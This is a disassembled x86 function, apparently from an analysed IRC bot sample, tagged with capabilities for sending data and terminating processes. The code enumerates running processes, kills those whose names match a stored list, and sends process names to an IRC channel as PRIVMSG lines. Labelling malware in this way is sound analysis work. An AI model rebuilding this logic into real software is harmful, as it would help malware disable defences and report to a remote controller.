Function at 0x406285
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea edx, [ebp - 0x330]
mov eax, 0
mov ecx, 0x4a
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [0x469864]
test eax, eax
je 0x40654a
mov eax, dword [0x469868]
test eax, eax
je 0x40654a
mov eax, dword [0x46986c]
test eax, eax
je 0x40654a
mov eax, dword [0x469864]
mov dword [esp + 4], 0
mov dword [esp], 2
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40654a
mov dword [ebp - 0x330], 0x128
mov eax, dword [0x469868]
lea edx, [ebp - 0x330]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
call eax
sub esp, 8
test eax, eax
je 0x40653a
cmp dword [ebp + 0x14], 0
je 0x4063d7
lea eax, [ebp - 0x330]
add eax, 0x24
mov dword [esp], eax
call sym._strlen
mov dword [esp + 4], eax
lea eax, [ebp - 0x330]
add eax, 0x24
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_CharUpperBuffA]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4063c4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e0c0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x330]
add eax, 0x24
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4063c0
mov eax, dword [ebp - 0x328]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
jmp 0x406518
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e0c0]
test eax, eax
jne 0x40635a
jmp 0x406518
cmp dword [ebp + 0x10], 0
jne 0x40649c
mov dword [esp + 8], 0x1f4
mov dword [esp + 4], 0
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._memset
cmp dword [ebp + 0xc], 0
je 0x406443
mov eax, dword [0x41e084]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x330]
add eax, 0x24
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s_n
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
jmp 0x406466
lea eax, [ebp - 0x330]
add eax, 0x24
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_n_r
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x406518
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x330]
add eax, 0x24
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x406518
mov eax, dword [ebp - 0x328]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
test eax, eax
jne 0x406511
mov eax, 0
jmp 0x40654f
mov eax, 1
jmp 0x40654f
mov eax, dword [0x46986c]
lea edx, [ebp - 0x330]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
call eax
sub esp, 8
test eax, eax
jne 0x40631c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret